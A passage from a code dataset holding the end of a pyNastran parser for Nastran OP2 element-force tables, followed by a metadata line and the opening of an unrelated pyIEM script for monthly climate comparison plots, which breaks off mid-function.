complex(myr, myi)\n mxy = complex(mxyr, mxyi)\n bmx = complex(bmxr, bmxi)\n bmy = complex(bmyr, bmyi)\n bmxy = complex(bmxyr, bmxyi)\n tx = complex(txr, txi)\n ty = complex(tyr, tyi)\n\n data_in = [term, nid, mx, my, mxy, bmx, bmy, bmxy, tx, ty]\n #print \"%s\" % (self.get_element_type(self.element_type)), data_in\n self.obj.add_new_element(eid, dt, data_in)\n\n for i in range(nnodes): # .. todo:: fix crash...\n edata = data[n:n+68]\n n += 68\n out = s2.unpack(edata)\n (nid, mxr, myr, mxyr, bmxr, bmyr, bmxyr, txr, tyr,\n mxi, myi, mxyi, bmxi, bmyi, bmxyi, txi, tyi) = out\n if is_magnitude_phase:\n mx = polar_to_real_imag(mxr, mxi)\n my = polar_to_real_imag(myr, myi)\n mxy = polar_to_real_imag(mxyr, mxyi)\n bmx = polar_to_real_imag(bmxr, bmxi)\n bmy = polar_to_real_imag(bmyr, bmyi)\n bmxy = polar_to_real_imag(bmxyr, bmxyi)\n tx = polar_to_real_imag(txr, txi)\n ty = polar_to_real_imag(tyr, tyi)\n else:\n mx = complex(mxr, mxi)\n my = complex(myr, myi)\n mxy = complex(mxyr, mxyi)\n bmx = complex(bmxr, bmxi)\n bmy = complex(bmyr, bmyi)\n bmxy = complex(bmxyr, bmxyi)\n tx = complex(txr, txi)\n ty = complex(tyr, tyi)\n if self.debug4():\n self.binary_debug.write('OEF_Plate2 - eid=%i nid=%s out=%s\\n' % (eid, nid, str(out)))\n data_in = [nid, mx, my, mxy, bmx, bmy, bmxy, tx, ty]\n #print \"***%s \" % (self.get_element_type(self.element_type)),data_in\n self.obj.add(eid, dt, data_in)\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n\n elif self.element_type in [95, 96, 97, 98]: # composites\n # 95 - CQUAD4\n # 96 - CQUAD8\n # 97 - CTRIA3\n # 98 - CTRIA6 (composite)\n if self.read_mode == 1:\n return len(data)\n if self.format_code == 1 and self.num_wide == 9: # real\n return len(data)\n #print self.code_information()\n #self.create_transient_object(self.compositePlateForces, RealCompositePlateForce) # undefined\n ##return\n #ntotal = 9 * 4\n #nelements = len(data) // ntotal\n #if self.debug:\n #self.binary_debug.write(' [cap, element1, element2, ..., cap]\\n')\n #self.binary_debug.write(' cap = %i # assume 1 cap when there could have been multiple\\n' % len(data))\n ##self.binary_debug.write(' #centeri = [eid_device, j, grid, fd1, sx1, sy1, txy1, angle1, major1, minor1, vm1,\\n')\n ##self.binary_debug.write(' # fd2, sx2, sy2, txy2, angle2, major2, minor2, vm2,)]\\n')\n ##self.binary_debug.write(' #nodeji = [eid, iLayer, o1, o2, t12, t1z, t2z, angle, major, minor, ovm)]\\n')\n #self.binary_debug.write(' nelements=%i; nnodes=1 # centroid\\n' % nelements)\n\n #eid_old = 0\n #format1 = 'i8si4f4s' # 9\n #s = Struct(format1)\n #for i in range(nelements):\n #if i % 10000 == 0:\n #print 'i = ', i\n #edata = data[n:n+ntotal] # 4*9\n #out = s.unpack(edata)\n #(eid_device, theory, lamid, failure_index_direct_stress, failure_mode_max_shear,\n #failure_index_interlaminar_shear, fmax, failure_flag) = out\n #eid = (eid_device - self.device_code) // 10\n #if self.debug4():\n #if eid > 0:\n #self.binary_debug.write(' eid=%i; C=[%s]\\n' % (', '.join(['%r' % di for di in out]) ))\n #else:\n #self.binary_debug.write(' %s C=[%s]\\n' % (' ' * len(str(eid)), ', '.join(['%r' % di for di in out]) ))\n\n #if eid > 0:\n #self.obj.add_new_eid(eType, dt, eid, o1, o2, t12, t1z, t2z, angle, major, minor, ovm)\n #else:\n #self.obj.add(dt, eid, o1, o2, t12, t1z, t2z, angle, major, minor, ovm)\n #eid_old = eid\n #n += ntotal\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n\n elif self.element_type in [39, 67, 68]: # solids\n # 39-CTETRA\n # 67-CHEXA\n # 68-CPENTA\n if self.read_mode == 1:\n return len(data)\n self._found_results.add('solidForces')\n if self.format_code == 1 and self.num_wide == 0: # real\n #self.create_transient_object(self.solidForces, RealCSolidForce)\n pass\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n\n elif self.element_type in [53]: # ctriax6\n # 53-CTRIAX6\n if self.read_mode == 1:\n return len(data)\n self._found_results.add('ctriaxForce')\n if self.format_code == 1 and self.num_wide == 0: # real\n pass\n #self.create_transient_object(self.ctriaxForce, RealCTriaxForce) # undefined\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n\n elif self.element_type in [4]: # cshear\n # 4-CSHEAR\n if self.read_mode == 1:\n return len(data)\n self._found_results.add('shearForces')\n if self.format_code == 1 and self.num_wide == 17: # real\n self.create_transient_object(self.shearForces, RealCShearForce)\n s = Struct(b'i16f')\n ntotal = 68 # 17*4\n nelements = len(data) // 68\n for i in range(nelements):\n edata = data[n:n+68]\n\n out = s.unpack(edata)\n if self.debug4():\n self.binary_debug.write('OEF_Shear - %s\\n' % (str(out)))\n (eid_device, f41, f21, f12, f32, f23, f43, f34, f14, kf1,\n s12, kf2, s23, kf3, s34, kf4, s41) = out\n eid = (eid_device - self.device_code) // 10\n\n data_in = [eid, f41, f21, f12, f32, f23, f43, f34,\n f14, kf1, s12, kf2, s23, kf3, s34, kf4, s41]\n #print \"%s\" % (self.get_element_type(self.element_type)), data_in\n self.obj.add(dt, data_in)\n n += ntotal\n\n elif self.format_code in [2, 3] and self.num_wide == 33: # imag\n self.create_transient_object(self.shearForces, ComplexCShearForce)\n s = Struct(b'i32f')\n ntotal = 132 # 33*4\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+132]\n n += ntotal\n\n out = s.unpack(edata)\n (eid_device,\n f41r, f21r, f12r, f32r, f23r, f43r, f34r, f14r,\n kf1r, s12r, kf2r, s23r, kf3r, s34r, kf4r, s41r,\n f41i, f21i, f12i, f32i, f23i, f43i, f34i, f14i,\n kf1i, s12i, kf2i, s23i, kf3i, s34i, kf4i, s41i) = out\n if is_magnitude_phase:\n f41r = polar_to_real_imag(f41r, f41i)\n kf1 = polar_to_real_imag(kf1r, kf1i)\n f21r = polar_to_real_imag(f21r, f21i)\n kf2 = polar_to_real_imag(kf2r, kf2i)\n f12r = polar_to_real_imag(f12r, f12i)\n kf3 = polar_to_real_imag(kf3r, kf3i)\n f23r = polar_to_real_imag(f23r, f23i)\n kf4 = polar_to_real_imag(kf4r, kf4i)\n f32r = polar_to_real_imag(f32r, f32i)\n s12 = polar_to_real_imag(s12r, s12i)\n f43r = polar_to_real_imag(f43r, f43i)\n s23 = polar_to_real_imag(s23r, s23i)\n f34r = polar_to_real_imag(f34r, f34i)\n s34 = polar_to_real_imag(s34r, s34i)\n f14r = polar_to_real_imag(f14r, f14i)\n s41 = polar_to_real_imag(s41r, s41i)\n else:\n f41 = complex(f41r, f41i)\n kf1 = complex(kf1r, kf1i)\n f21 = complex(f21r, f21i)\n kf2 = complex(kf2r, kf2i)\n f12 = complex(f12r, f12i)\n kf3 = complex(kf3r, kf3i)\n f23 = complex(f23r, f23i)\n kf4 = complex(kf4r, kf4i)\n f32 = complex(f32r, f32i)\n s12 = complex(s12r, s12i)\n f43 = complex(f43r, f43i)\n s23 = complex(s23r, s23i)\n f34 = complex(f34r, f34i)\n s34 = complex(s34r, s34i)\n f14 = complex(f14r, f14i)\n s41 = complex(s41r, s41i)\n\n eid = (eid_device - self.device_code) // 10\n #print \"eType=%s\" % (eType)\n\n data_in = [eid, f41, f21, f12, f32, f23, f43, f34, f14,\n kf1, s12, kf2, s23, kf3, s34, kf4, s41]\n #print \"%s\" %(self.get_element_type(self.element_type)), data_in\n self.obj.add(dt, data_in)\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n\n elif self.element_type in [35]: # con\n # 35-CON\n if self.read_mode == 1:\n return len(data)\n\n self._found_results.add('coneAxForces')\n if self.format_code == 1 and self.num_wide == 7: # real\n self.create_transient_object(self.coneAxForces, RealConeAxForce)\n ntotal = 28 # 7*4\n s = Struct(b'i6f')\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+ntotal]\n out = s.unpack(edata)\n if self.debug4():\n self.binary_debug.write('OEF_CONEAX-35 - %s\\n' % (str(out)))\n (eid_device, hopa, bmu, bmv, tm, su, sv) = out\n eid = (eid_device - self.device_code) // 10\n #print \"eType=%s\" % (eType)\n\n data_in = [eid, hopa, bmu, bmv, tm, su, sv]\n #print \"%s\" % (self.get_element_type(self.element_type)), data_in\n self.obj.add(dt, data_in)\n n += ntotal\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n\n\n elif self.element_type in [38]: # cgap\n # 38-GAP\n if self.read_mode == 1:\n return len(data)\n self._found_results.add('gapForces')\n if self.format_code == 1 and self.num_wide == 9: # real\n self.create_transient_object(self.gapForces, RealCGapForce)\n s = Struct(b'i8f')\n ntotal = 36 # 9*4\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+36]\n\n out = s.unpack(edata)\n if self.debug4():\n self.binary_debug.write('OEF_CGAP-38 - %s\\n' % (str(out)))\n (eid_device, fx, sfy, sfz, u, v, w, sv, sw) = out\n eid = (eid_device - self.device_code) // 10\n #print \"eType=%s\" % (eType)\n\n data_in = [eid, fx, sfy, sfz, u, v, w, sv, sw]\n #print \"%s\" %(self.get_element_type(self.element_type)),data_in\n #eid = self.obj.add_new_eid(out)\n self.obj.add(dt, data_in)\n n += ntotal\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n elif self.element_type in [69]: # cbend\n # 69-CBEND\n if self.read_mode == 1:\n return len(data)\n self._found_results.add('bendForces')\n if self.format_code == 1 and self.num_wide == 15: # real\n self.create_transient_object(self.bendForces, RealBendForce)\n s = Struct(b'ii13f')\n\n ntotal = 60 # 15*4\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+ntotal]\n\n out = s.unpack(edata)\n if self.debug4():\n self.binary_debug.write('OEF_BEND-69 - %s\\n' % (str(out)))\n (eid_device, nidA, bm1A, bm2A, ts1A, ts2A, afA, trqA,\n nidB, bm1B, bm2B, ts1B, ts2B, afB, trqB) = out\n eid = (eid_device - self.device_code) // 10\n #print \"eType=%s\" % (eType)\n\n data_in = [eid, nidA, bm1A, bm2A, ts1A, ts2A, afA, trqA,\n nidB, bm1B, bm2B, ts1B, ts2B, afB, trqB]\n #print \"%s\" %(self.get_element_type(self.element_type)), data_in\n #eid = self.obj.add_new_eid(out)\n self.obj.add(dt, data_in)\n n += ntotal\n elif self.format_code in [2, 3] and self.num_wide == 27: # imag\n self.create_transient_object(self.bendForces, ComplexBendForce)\n s = Struct(b'ii25f')\n\n ntotal = 108 # 27*4\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+108]\n n += ntotal\n\n out = s.unpack(edata)\n (eid_device, nidA,\n bm1Ar, bm2Ar, ts1Ar, ts2Ar, afAr, trqAr,\n bm1Ai, bm2Ai, ts1Ai, ts2Ai, afAi, trqAi,\n nidB,\n bm1Br, bm2Br, ts1Br, ts2Br, afBr, trqBr,\n bm1Bi, bm2Bi, ts1Bi, ts2Bi, afBi, trqBi) = out\n eid = (eid_device - self.device_code) // 10\n #print \"eType=%s\" % (eType)\n\n if is_magnitude_phase:\n bm1A = polar_to_real_imag(bm1Ar, bm1Ai)\n bm1B = polar_to_real_imag(bm1Br, bm1Bi)\n bm2A = polar_to_real_imag(bm2Ar, bm2Ai)\n bm2B = polar_to_real_imag(bm2Br, bm2Bi)\n ts1A = polar_to_real_imag(ts1Ar, ts1Ai)\n ts1B = polar_to_real_imag(ts1Br, ts1Bi)\n ts2A = polar_to_real_imag(ts2Ar, ts2Ai)\n ts2B = polar_to_real_imag(ts2Br, ts2Bi)\n afA = polar_to_real_imag(afAr, afAi)\n afB = polar_to_real_imag(afBr, afBi)\n trqA = polar_to_real_imag(trqAr, trqAi)\n trqB = polar_to_real_imag(trqBr, trqBi)\n else:\n bm1A = complex(bm1Ar, bm1Ai)\n bm1B = complex(bm1Br, bm1Bi)\n bm2A = complex(bm2Ar, bm2Ai)\n bm2B = complex(bm2Br, bm2Bi)\n ts1A = complex(ts1Ar, ts1Ai)\n ts1B = complex(ts1Br, ts1Bi)\n ts2A = complex(ts2Ar, ts2Ai)\n ts2B = complex(ts2Br, ts2Bi)\n afA = complex(afAr, afAi)\n afB = complex(afBr, afBi)\n trqA = complex(trqAr, trqAi)\n trqB = complex(trqBr, trqBi)\n\n dataIn = [eid, nidA,\n bm1A, bm2A, ts1A, ts2A, afA, trqA,\n nidB,\n bm1B, bm2B, ts1B, ts2B, afB, trqB]\n #print \"%s\" %(self.get_element_type(self.element_type)), dataIn\n self.obj.add(dt, dataIn)\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n\n elif self.element_type in [76, 77, 78]:\n # 76-HEXPR\n # 77-PENPR\n # 78-TETPR\n if self.read_mode == 1:\n return len(data)\n\n self._found_results.add('solidPressureForces')\n if self.format_code == 1 and self.num_wide == 10: # real\n ntotal = 40\n nelements = len(data) // ntotal\n self.create_transient_object(self.solidPressureForces, RealPentaPressureForce)\n s = Struct(b'i8s7f')\n for i in range(nelements):\n eData = data[n:n+40]\n n += 40\n out = s.unpack(eData)\n if self.debug4():\n self.binary_debug.write('OEF_PentaPressure-%s %s\\n' % (self.element_type, str(out)))\n (eid_device, eName, ax, ay, az, vx, vy, vz, pressure) = out\n eid = (eid_device - self.device_code) // 10\n #print \"eType=%s\" %(eType)\n\n dataIn = [eid, eName, ax, ay, az, vx, vy, vz, pressure]\n #print \"%s\" %(self.get_element_type(self.element_type)),dataIn\n self.obj.add(dt, dataIn)\n\n elif self.format_code in [2, 3] and self.num_wide == 16: # imag\n self.create_transient_object(self.solidPressureForces, ComplexPentaPressureForce)\n\n s = Struct(b'i8s13f')\n ntotal = 64\n nelements = len(data) // ntotal\n for i in range(nelements):\n eData = data[n:n+64]\n n += 64\n\n out = s.unpack(eData)\n (eid_device, eName, axr, ayr, azr, vxr, vyr, vzr, pressure,\n axi, ayi, azi, vxi, vyi, vzi) = out\n eid = (eid_device - self.device_code) // 10\n eName = eName.decode('utf-8').strip()\n #print \"eType=%s\" %(eType)\n\n if is_magnitude_phase:\n ax = polar_to_real_imag(axr, axi)\n vx = polar_to_real_imag(vxr, vxi)\n ay = polar_to_real_imag(ayr, ayi)\n vy = polar_to_real_imag(vyr, vyi)\n az = polar_to_real_imag(azr, azi)\n vz = polar_to_real_imag(vzr, vzi)\n else:\n ax = complex(axr, axi)\n vx = complex(vxr, vxi)\n ay = complex(ayr, ayi)\n vy = complex(vyr, vyi)\n az = complex(azr, azi)\n vz = complex(vzr, vzi)\n\n dataIn = [eid, eName, ax, ay, az, vx, vy, vz, pressure]\n #print \"%s\" %(self.get_element_type(self.element_type)),dataIn\n self.obj.add(dt, dataIn)\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n\n elif self.element_type in [100]: # bars\n # 100-BARS\n if self.read_mode == 1:\n return len(data)\n self._found_results.add('bar100Forces')\n if self.format_code == 1 and self.num_wide == 8:\n self.create_transient_object(self.bar100Forces, RealCBar100Force)\n format1 = bytes(b'i7f')\n\n s = Struct(format1)\n ntotal = 32 # 8*4\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+32]\n n += 32\n out = s.unpack(edata)\n if self.debug4():\n self.binary_debug.write('OEF_CBar100 - %s\\n' % (str(out)))\n (eid_device, sd, bm1, bm2, ts1, ts2, af, trq) = out\n eid = (eid_device - self.device_code) // 10\n #print \"eType=%s\" %(eType)\n\n data_in = [eid, sd, bm1, bm2, ts1, ts2, af, trq]\n #print \"%s\" %(self.get_element_type(self.element_type)), data_in\n self.obj.add(dt, data_in)\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n elif self.element_type in [102]: # cbush\n # 102-CBUSH\n self._found_results.add('bushForces')\n if self.format_code == 1 and self.num_wide == 7: # real\n self.create_transient_object(self.bushForces, RealCBushForce)\n s = Struct(b'i6f')\n ntotal = 28 # 7*4\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+28]\n out = s.unpack(edata)\n if self.debug4():\n self.binary_debug.write('OEF_CBUSH-102 - %s\\n' % (str(out)))\n (eid_device, fx, fy, fz, mx, my, mz) = out\n eid = (eid_device - self.device_code) // 10\n\n data_in = [eid, fx, fy, fz, mx, my, mz]\n #print \"%s\" % (self.get_element_type(self.element_type)), data_in\n self.obj.add(dt, data_in)\n n += ntotal\n elif self.format_code in [2, 3] and self.num_wide == 13: # imag\n self.create_transient_object(self.bushForces, ComplexCBushForce)\n s = Struct(b'i12f')\n\n ntotal = 52 # 13*4\n nelements = len(data) // ntotal\n for i in range(nelements):\n edata = data[n:n+52]\n\n out = s.unpack(edata)\n (eid_device, fxr, fyr, fzr, mxr, myr, mzr,\n fxi, fyi, fzi, mxi, myi, mzi) = out\n eid = (eid_device - self.device_code) // 10\n assert eid > 0, eid\n #print \"eType=%s\" % (eType)\n\n if is_magnitude_phase:\n fx = polar_to_real_imag(fxr, fxi)\n mx = polar_to_real_imag(mxr, mxi)\n fy = polar_to_real_imag(fyr, fyi)\n my = polar_to_real_imag(myr, myi)\n fz = polar_to_real_imag(fzr, fzi)\n mz = polar_to_real_imag(mzr, mzi)\n else:\n fx = complex(fxr, fxi)\n mx = complex(mxr, mxi)\n fy = complex(fyr, fyi)\n my = complex(myr, myi)\n fz = complex(fzr, fzi)\n mz = complex(mzr, mzi)\n\n data_in = [eid, fx, fy, fz, mx, my, mz]\n #print \"%s\" %(self.get_element_type(self.element_type)), data_in\n self.obj.add(dt, data_in)\n n += ntotal\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n\n elif self.element_type in [145, 146, 147]:\n # 145-VUHEXA\n # 146-VUPENTA\n # 147-VUTETRA\n if self.read_mode == 1:\n return len(data)\n return len(data)\n elif self.element_type in [189, 190]:\n # 189-VUQUAD\n # 190-VUTRIA\n if self.read_mode == 1:\n return len(data)\n\n self._found_results.add('force_VU_2D')\n if self.element_type in [189]: # VUQUAD\n nNodes = 4\n eType = 'VUQUAD4'\n elif self.element_type in [190]: # VUTRIA\n nNodes = 3\n eType = 'VUTRIA3'\n else:\n raise NotImplementedError(self.code_information())\n numwide_real = 6 + 13 * nNodes\n numwide_imag = 6 + 25 * nNodes\n\n if self.format_code == 1 and self.num_wide == numwide_real: # real\n self.create_transient_object(self.force_VU_2D, RealForce_VU_2D)\n\n ntotal = 24 + 52 * nNodes\n nelements = len(data) // ntotal\n\n s1 = Struct(b'iii4sii')\n s2 = Struct(b'i3f3i5fi')\n for i in range(nelements):\n eData = data[n:n+24] # 6*4\n n += 24\n\n out = s1.unpack(eData)\n if self.debug4():\n self.binary_debug.write('OEF_Force_%s-%s - %s\\n' % (eType, self.element_type, str(out)))\n (eid_device, parent, coord, icord, theta, _) = out\n\n eid = (eid_device - self.device_code) // 10\n dataIn = [eid, parent, coord, icord, theta]\n\n forces = []\n for i in range(nNodes):\n eData = data[n:n+52] # 13*4\n n += 52\n out = s2.unpack(eData)\n if self.debug4():\n self.binary_debug.write('%s\\n' % (str(out)))\n (vugrid, mfx, mfy, mfxy, a, b, c, bmx, bmy,\n bmxy, syz, szx, d) = out\n out2 = (vugrid, mfx, mfy, mfxy, bmx, bmy, bmxy, syz, szx)\n forces.append(out2)\n dataIn.append(forces)\n #print \"eType=%s\" %(eType)\n\n #dataIn = [vugrid,mfx,mfy,mfxy,a,b,c,bmx,bmy,bmxy,syz,szx,d]\n #print \"force %s\" %(self.get_element_type(self.element_type)),dataIn\n self.obj.add(nNodes, dt, dataIn)\n\n elif self.format_code in [2, 3] and self.num_wide == numwide_imag: # imag\n self.create_transient_object(self.force_VU_2D, ComplexForce_VU_2D)\n ntotal = 24 + 100 * nNodes\n s1 = Struct(b'iii4sii')\n s2 = Struct(b'i3f3i5fi3f3i5fi')\n nelements = len(data) // ntotal\n for i in range(nelements):\n eData = data[n:n+24] # 6*4\n n += 24\n\n out = s1.unpack(eData)\n (eid_device, parent, coord, icord, theta, _) = out\n\n eid = (eid_device - self.device_code) // 10\n dataIn = [eid, parent, coord, icord, theta]\n\n forces = []\n for i in range(nNodes):\n eData = data[n:n+100] # 13*4\n n += 100\n out = s2.unpack(eData)\n [vugrid, mfxr, mfyr, mfxyr, a, b, c, bmxr, bmyr, bmxyr, syzr, szxr, d,\n mfxi, mfyi, mfxyi, a, b, c, bmxi, bmyi, bmxyi, syzi, szxi, d] = out\n\n if is_magnitude_phase:\n mfx = polar_to_real_imag(mfxr, mfxi)\n mfy = polar_to_real_imag(mfyr, mfyi)\n mfxy = polar_to_real_imag(mfxyr, mfxyi)\n bmx = polar_to_real_imag(bmxr, bmxi)\n bmy = polar_to_real_imag(bmyr, bmyi)\n bmxy = polar_to_real_imag(bmxyr, bmxyi)\n syz = polar_to_real_imag(syzr, syzi)\n szx = polar_to_real_imag(szxr, szxi)\n else:\n mfx = complex(mfxr, mfxi)\n mfy = complex(mfyr, mfyi)\n mfxy = complex(mfxyr, mfxyi)\n bmx = complex(bmxr, bmxi)\n bmy = complex(bmyr, bmyi)\n bmxy = complex(bmxyr, bmxyi)\n syz = complex(syzr, syzi)\n szx = complex(szxr, szxi)\n out2 = [vugrid, mfx, mfy, mfxy, bmx, bmy, bmxy, syz, szx]\n forces.append(out2)\n\n dataIn.append(forces)\n #print \"eType=%s\" %(eType)\n #dataIn = [vugrid,mfxr,mfyr,mfxyr,bmxr,bmyr,bmxyr,syzr,szxr,\n #mfxi,mfyi,mfxyi,bmxi,bmyi,bmxyi,syzi,szxi]\n #print \"force %s\" %(self.get_element_type(self.element_type)),dataIn\n self.obj.add(nNodes, dt, dataIn)\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n\n\n elif self.element_type in [191]:\n # 191-VUBEAM\n if self.read_mode == 1:\n return len(data)\n self._found_results.add('force_VU')\n\n if self.format_code == 1 and self.num_wide == 20: # real\n self.create_transient_object(self.force_VU, RealForce_VU)\n # 20 = 4 + 8 * 2 = 4 = 16\n nNodes = 2\n #ntotal = 16 + 32 * nNodes\n ntotal = self.num_wide * 4\n nelements = len(data) // ntotal\n self.create_transient_object(self.force_VU, RealForce_VU)\n\n s1 = Struct(b'iii4s')\n s2 = Struct(b'i7f')\n for i in range(nelements):\n eData = data[n:n+16] # 8*4\n n += 16\n\n out = s1.unpack(eData)\n if self.debug4():\n self.binary_debug.write('OEF_Force_VU-191 - %s\\n' % (str(out)))\n (eid_device, parent, coord, icord) = out\n\n eid = (eid_device - self.device_code) // 10\n dataIn = [eid, parent, coord, icord]\n\n forces = []\n for i in range(nNodes):\n eData = data[n:n+32] # 8*4\n n += 32\n #print \"i=%s len(data)=%s\" %(i,len(eData))\n out = s2.unpack(eData)\n if self.debug4():\n self.binary_debug.write('%s\\n' % str(out))\n forces.append(out)\n dataIn.append(forces)\n #print \"eType=%s\" %(eType)\n\n #dataIn = [vugrid,posit,forceX,shearY,shearZ,torsion,bendY,bendZ]\n #print \"force %s\" %(self.get_element_type(self.element_type)),dataIn\n self.obj.add(nNodes, dt, dataIn)\n elif self.format_code == 1 and self.num_wide == 32: # random\n return len(data)\n elif self.format_code in [2, 3] and self.num_wide == 32: # imag\n # 32 = 4 + 56/4 * 2 = 4 + 14 * 2 = 4 + 28\n self.create_transient_object(self.force_VU, ComplexForce_VU)\n nNodes = 2\n #ntotal = 16 + 56 * nNodes\n ntotal = self.num_wide * 4\n s1 = Struct(b'i2i4s')\n s2 = Struct(b'i13f')\n n = 0\n nelements = len(data) // ntotal\n for i in range(nelements):\n eData = data[n:n+16] # 8*4\n n += 16\n\n out = s1.unpack(eData)\n (eid_device, parent, coord, icord) = out\n\n eid = (eid_device - self.device_code) // 10\n dataIn = [eid, parent, coord, icord]\n\n forces = []\n for i in range(nNodes):\n eData = data[n:n+56] # 14*4\n n += 56\n out = s2.unpack(eData)\n [vugrid, posit,\n forceXr, shearYr, shearZr, torsionr, bendingYr, bendingZr,\n forceXi, shearYi, shearZi, torsioni, bendingYi, bendingZi] = out\n\n if is_magnitude_phase:\n forceX = polar_to_real_imag(forceXr, forceXi)\n shearY = polar_to_real_imag(shearYr, shearYi)\n shearZ = polar_to_real_imag(shearZr, shearZi)\n torsion = polar_to_real_imag(torsionr, torsioni)\n bendingY = polar_to_real_imag(bendingYr, bendingYi)\n bendingZ = polar_to_real_imag(bendingZr, bendingZi)\n else:\n forceX = complex(forceXr, forceXi)\n shearY = complex(shearYr, shearYi)\n shearZ = complex(shearZr, shearZi)\n torsion = complex(torsionr, torsioni)\n bendingY = complex(bendingYr, bendingYi)\n bendingZ = complex(bendingZr, bendingZi)\n\n out2 = [vugrid, posit, forceX, shearY,\n shearZ, torsion, bendingY, bendingZ]\n forces.append(out2)\n dataIn.append(forces)\n #print \"eType=%s\" %(eType)\n\n #dataIn = [vugrid,posit,forceX,shearY,shearZ,torsion,bendY,bendZ]\n #print \"force %s\" %(self.get_element_type(self.element_type)),dataIn\n self.obj.add(nNodes, dt, dataIn)\n else:\n msg = 'num_wide=%s' % self.num_wide\n return self._not_implemented_or_skip(data, msg)\n\n elif self.element_type in [233, 235]:\n # 233-TRIARLC\n # 235-CQUADR\n if self.read_mode == 1:\n return len(data)\n return len(data)\n else:\n msg = 'OEF sort1 Type=%s num=%s' % (self.element_name, self.element_type)\n return self._not_implemented_or_skip(data, msg)\n\n assert self.thermal == 0, self.thermal\n assert len(data) > 0, len(data)\n assert nelements > 0, 'nelements=%r element_type=%s element_name=%r' % (nelements, self.element_type, self.element_name)\n #assert len(data) % ntotal == 0, '%s n=%s nwide=%s len=%s ntotal=%s' % (self.element_name, len(data) % ntotal, len(data) % self.num_wide, len(data), ntotal)\n assert self.num_wide * 4 == ntotal, 'numwide*4=%s ntotal=%s' % (self.num_wide*4, ntotal)\n assert n > 0, n\n return n\n\n def _read_oef2_4(self, data):\n pass\n","sub_path":"pyNastran/op2/tables/oef_forces/oef.py","file_name":"oef.py","file_ext":"py","file_size_in_byte":88214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"3331778","text":"\"\"\"monthly comparisons\"\"\"\nimport datetime\nimport calendar\nfrom collections import OrderedDict\n\nimport numpy as np\nfrom scipy import stats\nfrom pandas.io.sql import read_sql\nimport pandas as pd\nfrom pyiem.plot.use_agg import plt\nfrom pyiem import network, util\nfrom pyiem.exceptions import NoDataFound\n\nPDICT = OrderedDict((\n ('total_precip', 'Total Precipitation'),\n ('avg_temp', 'Average Temperature'),\n ('max_high', 'Maximum High Temperature'),\n ('min_low', 'Minimum Low Temperature'),\n ('days_high_aoa', 'Days with High At or Above'),\n ('cdd65', 'Cooling Degree Days (base 65)'),\n ('hdd65', 'Heating Degree Days (base 65)'),\n ('gdd32', 'Growing Degree Days (base 32)'),\n ('gdd41', 'Growing Degree Days (base 41)'),\n ('gdd46', 'Growing Degree Days (base 46)'),\n ('gdd48', 'Growing Degree Days (base 48)'),\n ('gdd50', 'Growing Degree Days (base 50)'),\n ('gdd51', 'Growing Degree Days (base 51)'),\n ('gdd52', 'Growing Degree Days (base 52)'))\n)\n\nUNITS = {'total_precip': 'inch',\n 'avg_temp': 'F',\n 'max_high': 'F',\n 'min_low': 'F',\n 'days_high_aoa': 'days',\n 'cdd65': 'F',\n 'hdd65': 'F',\n 'gdd32': 'F',\n 'gdd41': 'F',\n 'gdd46': 'F',\n 'gdd48': 'F',\n 'gdd50': 'F',\n 'gdd51': 'F',\n 'gdd52': 'F',\n }\n\n\ndef get_description():\n \"\"\" Return a dict describing how to call this plotter \"\"\"\n desc = dict()\n desc['data'] = True\n today = datetime.date.today()\n yesterday = today - datetime.timedelta(days=60)\n desc['description'] = \"\"\"This app allows the arbitrary comparison of months\n against other months. When the period of months wraps around a new\n year, the app attempts to keep this situation straight with Dec and Jan\n following each other. The periods are combined together based on the\n year of the beginning month of each period. If there is a metric you\n wished to see added to this analysis, please\n let us know!\"\"\"\n desc['arguments'] = [\n dict(type='station', name='station', default='IA0000',\n label='Select Station', network='IACLIMATE'),\n dict(type='int', name='threshold', default='93',\n label='Daily Temperature Threshold (when appropriate)'),\n dict(type='month', name='month1', default=yesterday.month,\n label='Month 1 for Comparison'),\n dict(type='int', name='num1', default=2,\n label='Number of Additional Months for Comparison 1'),\n dict(type='select', options=PDICT, default='total_precip', name='var1',\n label='Comparison 1 Variable'),\n dict(type='month', name='month2', default=yesterday.month,\n label='Month 2 for Comparison'),\n dict(type='int', name='num2', default=2,\n label='Number of Additional Months for Comparison 2'),\n dict(type='select', options=PDICT, default='avg_temp', name='var2',\n label='Comparison 2 Variable'),\n ]\n return desc\n\n\ndef compute_months_and_offsets(start, count):\n \"\"\" Figure out an array of values \"\"\"\n months = [start]\n offsets = [0]\n for i in range(1, count):\n nextval = start + i\n if nextval > 12:\n nextval -= 12\n offsets.append(1)\n else:\n offsets.append(0)\n months.append(nextval)\n\n return months, offsets\n\n\ndef combine(df, months, offsets):\n \"\"\"combine\"\"\"\n # To allow for periods that cross years! We create a second dataframe with\n # the year shifted back one!\n df_shift = df.copy()\n df_shift.index = df_shift.index - 1\n\n # We create the xaxis dataset\n xdf = df[df['month'] == months[0]].copy()\n for i, month in enumerate(months):\n if i == 0:\n continue\n if offsets[i] == 1:\n thisdf = 